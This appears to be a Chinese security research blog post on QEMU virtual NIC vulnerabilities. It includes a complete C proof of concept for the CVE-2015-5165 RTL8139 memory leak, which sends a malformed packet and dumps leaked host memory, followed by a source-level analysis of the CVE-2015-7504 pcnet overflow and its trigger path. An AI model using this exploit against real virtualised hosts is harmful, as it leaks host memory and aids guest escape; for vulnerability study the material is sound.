2
sudo apt-get install build-essential module-assistant
sudo apt-get install gcc-multilib g++-multilib
  • FATAL: kernel too old ,内核版本太低,两种方案,一种是更新一下虚拟机的内核,第二种是降低编译阶段的内核版本,参考链接。(第三种,也可以直接在虚拟机下装一下编译工具链,本地编译)

接下来编写poc,相关功能都注释在代码中。

poc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

#define RTL8139_BUFFER_SIZE 1514
/*通过lspci -v 获取IO端口*/
uint32_t pmio_port = 0xc000;

/*常量直接从rtl8139.c中拷贝*/

enum RTL8139_registers {
MAC0 = 0, /* Ethernet hardware address. */
MAR0 = 8, /* Multicast filter. */
TxStatus0 = 0x10,/* Transmit status (Four 32bit registers). C mode only */
/* Dump Tally Conter control register(64bit). C+ mode only */
TxAddr0 = 0x20, /* Tx descriptors (also four 32bit). */
RxBuf = 0x30,
ChipCmd = 0x37,
RxBufPtr = 0x38,
RxBufAddr = 0x3A,
IntrMask = 0x3C,
IntrStatus = 0x3E,
TxConfig = 0x40,
RxConfig = 0x44,
Timer = 0x48, /* A general-purpose counter. */
RxMissed = 0x4C, /* 24 bits valid, write clears. */
Cfg9346 = 0x50,
Config0 = 0x51,
Config1 = 0x52,
FlashReg = 0x54,
MediaStatus = 0x58,
Config3 = 0x59,
Config4 = 0x5A, /* absent on RTL-8139A */
HltClk = 0x5B,
MultiIntr = 0x5C,
PCIRevisionID = 0x5E,
TxSummary = 0x60, /* TSAD register. Transmit Status of All Descriptors*/
BasicModeCtrl = 0x62,
BasicModeStatus = 0x64,
NWayAdvert = 0x66,
NWayLPAR = 0x68,
NWayExpansion = 0x6A,
/* Undocumented registers, but required for proper operation. */
FIFOTMS = 0x70, /* FIFO Control and test. */
CSCR = 0x74, /* Chip Status and Configuration Register. */
PARA78 = 0x78,
PARA7c = 0x7c, /* Magic transceiver parameter register. */
Config5 = 0xD8, /* absent on RTL-8139A */
/* C+ mode */
TxPoll = 0xD9, /* Tell chip to check Tx descriptors for work */
RxMaxSize = 0xDA, /* Max size of an Rx packet (8169 only) */
CpCmd = 0xE0, /* C+ Command register (C+ mode only) */
IntrMitigate = 0xE2, /* rx/tx interrupt mitigation control */
RxRingAddrLO = 0xE4, /* 64-bit start addr of Rx ring */
RxRingAddrHI = 0xE8, /* 64-bit start addr of Rx ring */
TxThresh = 0xEC, /* Early Tx threshold */
};

/* Bits in TxConfig. */
enum tx_config_bits {

/* Interframe Gap Time. Only TxIFG96 doesn't violate IEEE 802.3 */
TxIFGShift = 24,
TxIFG84 = (0 << TxIFGShift), /* 8.4us / 840ns (10 / 100Mbps) */
TxIFG88 = (1 << TxIFGShift), /* 8.8us / 880ns (10 / 100Mbps) */
TxIFG92 = (2 << TxIFGShift), /* 9.2us / 920ns (10 / 100Mbps) */
TxIFG96 = (3 << TxIFGShift), /* 9.6us / 960ns (10 / 100Mbps) */

TxLoopBack = (1 << 18) | (1 << 17), /* enable loopback test mode */
TxCRC = (1 << 16), /* DISABLE appending CRC to end of Tx packets */
TxClearAbt = (1 << 0), /* Clear abort (WO) */
TxDMAShift = 8, /* DMA burst value (0-7) is shifted this many bits */
TxRetryShift = 4, /* TXRR value (0-15) is shifted this many bits */

TxVersionMask = 0x7C800000, /* mask out version bits 30-26, 23 */
};

/* Bits in RxConfig. */
enum rx_mode_bits {
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum ChipCmdBits {
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

/* C+ mode */
enum CplusCmdBits {
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

/*描述符的数据结构(地址保存在TxAddr0)*/
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

struct rtl8139_ring {
struct rtl8139_desc *desc;
void *buffer;
};

#define RTL8139_BUFFER_SIZE 1514

/* w0 ownership flag */
#define CP_TX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_TX_EOR (1<<30)
/* first segment of received packet flag */
#define CP_TX_FS (1<<29)
/* last segment of received packet flag */
#define CP_TX_LS (1<<28)
/* large send packet flag */
#define CP_TX_LGSEN (1<<27)
/* large send MSS mask, bits 16...25 */
#define CP_TC_LGSEN_MSS_MASK ((1 << 12) - 1)

/* IP checksum offload flag */
#define CP_TX_IPCS (1<<18)
/* UDP checksum offload flag */
#define CP_TX_UDPCS (1<<17)
/* TCP checksum offload flag */
#define CP_TX_TCPCS (1<<16)

/* w0 bits 0...15 : buffer size */
#define CP_TX_BUFFER_SIZE (1<<16)
#define CP_TX_BUFFER_SIZE_MASK (CP_TX_BUFFER_SIZE - 1)
/* w1 add tag flag */
#define CP_TX_TAGC (1<<17)
/* w1 bits 0...15 : VLAN tag (big endian) */
#define CP_TX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low 32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */

/* set after transmission */
/* FIFO underrun flag */
#define CP_TX_STATUS_UNF (1<<25)
/* transmit error summary flag, valid if set any of three below */
#define CP_TX_STATUS_TES (1<<23)
/* out-of-window collision flag */
#define CP_TX_STATUS_OWC (1<<22)
/* link failure flag */
#define CP_TX_STATUS_LNKF (1<<21)
/* excessive collisions flag */
#define CP_TX_STATUS_EXC (1<<20)

/* w0 ownership flag */
#define CP_RX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_RX_EOR (1<<30)
/* w0 bits 0...12 : buffer size */
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)
/* w1 tag available flag */
#define CP_RX_TAVA (1<<16)
/* w1 bits 0...15 : VLAN tag */
#define CP_RX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low 32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */


/*配置网络帧内容*/
uint8_t rtl8139_packet[] = {
//目标mac地址
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
//源mac地址
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
//代表IPV4
0x08, 0x00,

//报头长度
(0x04 << 4) | 0x05,
//TOS
0x00,
//这里由于我们需要设置长度为19,从而实现溢出(触发漏洞)
0x00, 0x13,
//Identification
0xde, 0xad,
//Flags & Fragment Offset(必须为64的整数倍,所以直接设置为64)
0x40, 0x00,
//TTL通常为32,64,128这里直接设置为64
0x40,
//Protocol为6代表TCP
0x06,
// Header checksum
0xde, 0xad,
//源IP:127.0.0.1
0x7f, 0x00, 0x00, 0x01,
//目的IP:127.0.0.1
0x7f, 0x00, 0x00, 0x01,

// IP Packet Payload 数据, 即 TCP 数据包
//源端口
0xde, 0xad,
//目的端口
0xbe, 0xef,
//Sequence Number
0x00, 0x00, 0x00, 0x00,
//Acknowledgement Number
0x00, 0x00, 0x00, 0x00,
//报头长度,其中Header Length只占4位,后面的4位加上下面ACK中的2位都是保留位,保留位必须为0
0x50,
//从第3位开始是Control Flags,其中第4位代表ACK
0x10,
//Window Size
0xde, 0xad,
//TCP checksum
0xde, 0xad,
//Urgent Pointer
0x00, 0x00
};

//使用pagemap通过虚拟地址计算物理地址
size_t virtuak_addr_to_physical_addr(void *addr){
uint64_t data;

int fd = open("/proc/self/pagemap",O_RDONLY);
if(!fd){
perror("open pagemap");
return 0;
}

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}

/*通过IO函数实现对PMIO端口的读写*/
void pmio_writeb(uint32_t data,uint32_t addr){
outb(data,pmio_port+addr);
}

void pmio_writew(uint32_t data,uint32_t addr){
outw(data,pmio_port+addr);
}

void pmio_writel(uint32_t data,uint32_t addr){
outl(data,pmio_port+addr);
}

uint32_t pmio_readb(uint32_t addr){
return (uint32_t)inb(addr);
}

uint32_t pmio_readw(uint32_t addr){
return (uint32_t)inw(addr);
}

uint32_t pmio_readl(uint32_t addr){
return (uint32_t)inl(addr);
}
/*初始化描述符*/
void rtl8139_desc_config_rx(struct rtl8139_ring* ring, struct rtl8139_desc* desc, size_t nb){
size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
for (size_t i = 0; i < nb; ++i) {
memset(&desc[i], 0, sizeof(desc[i]));
ring[i].desc = &desc[i];

ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer, 0, buffer_size);

ring[i].desc->dw0 |= CP_RX_OWN;
ring[i].desc->dw0 |= buffer_size;
ring[i].desc->buf_lo = (uint32_t)virtuak_addr_to_physical_addr(ring[i].buffer);
}
pmio_writel((uint32_t)virtuak_addr_to_physical_addr(desc), RxRingAddrLO);
pmio_writel(0, RxRingAddrHI);
}

void rtl8139_desc_config_tx(struct rtl8139_desc* desc, void* buffer){
memset(desc,0,sizeof(struct rtl8139_desc));
desc->dw0 |= CP_TX_LS | CP_TX_OWN | CP_TX_EOR | CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN;
desc->dw0 |= RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)virtuak_addr_to_physical_addr(buffer);
pmio_writel((uint32_t)virtuak_addr_to_physical_addr(desc), TxAddr0);
pmio_writel(0,TxAddr0 + 4);
}

void rtl8139_card_config(){
pmio_writel(TxLoopBack, TxConfig); //开启TxLoopBack,使网卡数据回环
pmio_writel(AcceptMyPhys, RxConfig);
pmio_writew(CPlusRxEnb | CPlusTxEnb, CpCmd);
pmio_writeb(CmdRxEnb | CmdTxEnb, ChipCmd);
}
//将网络帧内容写给网卡
void rtl8139_packet_send(void* buffer, void* packet, size_t len) {
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer, packet, len);
pmio_writeb(1<<6,TxPoll);
}
}
//打印本地网卡接收到的数据
void leak_data(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n0x%08x: ", (uint32_t)(ptr + i));
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}

int main(){
size_t rtl8139_rx_nb = 44;
struct rtl8139_ring *rtl8139_rx_ring;
struct rtl8139_desc *rtl8139_rx_desc, *rtl8139_tx_desc;

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
}

/*为描述符分配空间(这里使用aligned_alloc是为了起始地址对齐)*/
rtl8139_rx_ring = (struct rtl8139_ring *)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));

rtl8139_rx_desc = (struct rtl8139_desc *)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));

rtl8139_tx_desc = (struct rtl8139_desc *)aligned_alloc(
PAGE_SIZE, sizeof(struct rtl8139_desc));

void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);

//使用iopl打开IO读写权限
iopl(3);
//按照之前的分析配置参数
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_card_config();
//发送网络帧
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet, sizeof(rtl8139_packet));

sleep(2);

//读取网卡缓冲区内容,泄露内存信息
for (size_t i = 0; i < rtl8139_rx_nb; ++i)
{
leak_data((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}
}

50DMod

CVE-2015-7504

cve-2015-7504漏洞存在于hw/net/pcnet.c的**pcnet_receive()**函数中,漏洞出现在对于数据包的crc校验计算中。

pcnet网卡

网卡有16位(默认)和32位两种模式,这取决于DWIO(存储在网卡上的变量)的实际值,16位模式是网卡重启后的默认模式。网卡有两种内部寄存器:CSR(控制和状态寄存器)和BCR(总线控制寄存器)。两种寄存器都需要通过设置对应的我们要访问的RAP(寄存器地址端口)寄存器来实现对相应CSR或BCR寄存器的访问。

pcnet_receive函数

当size值等于s->buffer的大小时,最后会越界四个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ssize_t pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
PCNetState *s = qemu_get_nic_opaque(nc);
int size = size_;
[...]
if (!(CSR_CRST(s) & 0x8000)) {
[...]
} else {
uint8_t *src = s->buffer; //存储网卡接收的数据
[...]
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
uint32_t fcs = ~0;
uint8_t *p = src;

while (p != &src[size]) //最大输入size长度的数据
CRC(fcs, *p++); // #define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])
*(uint32_t *)p = htonl(fcs); //多写4字节数据,导致溢出
size += 4;
} else {
[...]
}
[...]

pcnet_rdte_poll(s);

}
}
pcnet_poll(s);
pcnet_update_irq(s); //调用qemu_set_irq
return size_;
}

看一下PCNetState_st结构体。溢出s->buffer会覆盖到后面的qemu_irq irq变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
typedef struct PCNetState_st PCNetState;

struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};

找一下qemu_irq的定义(在irq.h中),是一个指向IRQState结构体的指针(4字节)。

1
2
3
4
5
6
7
8
9
10
// irq.h
typedef struct IRQState *qemu_irq;
// irq.c
struct IRQState {
Object parent_obj;

qemu_irq_handler handler;
void *opaque;
int n;
};

触发漏洞

追溯调用栈,pcnet_transmit函数在标志位BCR_SWSTYLE为1时会触发漏洞函数 pcnet_receive。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static void pcnet_transmit(PCNetState *s)
{
hwaddr xmit_cxda = 0;
int count = CSR_XMTRL(s)-1;
int add_crc = 0;
int bcnt;
s->xmit_pos = -1;

[...]

/* if multi-tmd packet outsizes s->buffer then skip it silently.
Note: this is not what real hw does */
if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
s->xmit_pos = -1;
goto txdone;
}

[...]

if (CSR_LOOP(s)) {
if (BCR_SWSTYLE(s) == 1) //检查标志位BCR_SWSTYLE
add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos); //调用触发漏洞的函数
s->looptest = 0;
} else {
[...]
}
[...]
}

而pcnet_ioport_writew调用pcnet_csr_writew最终会调用pcnet_transmit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04x\n", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val); //进入pcnet_csr_writew分支
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}
=====================================================================
static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
printf("pcnet_csr_writew rap=%d val=0x%04x\n", rap, val);
#endif
switch (rap) {
case 0:
s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */

s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);

val = (val & 0x007f) | (s->csr[0] & 0x7f00);

/* IFF STOP, STRT and INIT are set, clear STRT and INIT */
if ((val&7) == 7)
val &= ~3;

if (!CSR_STOP(s) && (val & 4))
pcnet_stop(s);

if (!CSR_INIT(s) && (val & 1))
pcnet_init(s);

if (!CSR_STRT(s) && (val & 2))
pcnet_start(s);

if (CSR_TDMD(s))
pcnet_transmit(s); //进入pcnet_transmit分支

return;
case 1:
case 2:
case 8:
case 9:
case 10:
case 11:
case 12:
case 13:
case 14:
case 15:
case 18: /* CRBAL */
case 19: /* CRBAU */
case 20: /* CXBAL */
case 21: /* CXBAU */
case 22: /* NRBAU */
case 23: /* NRBAU */
case 24:
case 25:
case 26:
case 27:
case 28:
case 29:
case 30:
case 31:
case 32:
case 33:
case 34:
case 35:
case 36:
case 37:
case 38:
case 39:
case 40: /* CRBC */
case 41:
case 42: /* CXBC */
case 43:
case 44:
case 45:
case 46: /* POLL */
case 47: /* POLLINT */
case 72:
case 74:
case 76: /* RCVRL */
case 78: /* XMTRL */
case 112:
if (CSR_STOP(s) || CSR_SPND(s))
break;
return;
case 3:
break;
case 4:
s->csr[4] &= ~(val & 0x026a);
val &= ~0x026a; val |= s->csr[4] & 0x026a;
break;
case 5:
s->csr[5] &= ~(val & 0x0a90);
val &= ~0x0a90; val |= s->csr[5] & 0x0a90;
break;
case 16:
pcnet_csr_writew(s,1,val);
return;
case 17:
pcnet_csr_writew(s,2,val);
return;
case 58:
pcnet_bcr_writew(s,BCR_SWS,val);
break;
default:
return;
}
s->csr[rap] = val;
}

参考

qemu-pwn-cve-2015-5165信息泄露漏洞分析

CVE-2015-5165漏洞复现——QENU信息泄露漏洞

在qemu中增加pci设备并用linux驱动验证

QEMU如何虚拟PCI设备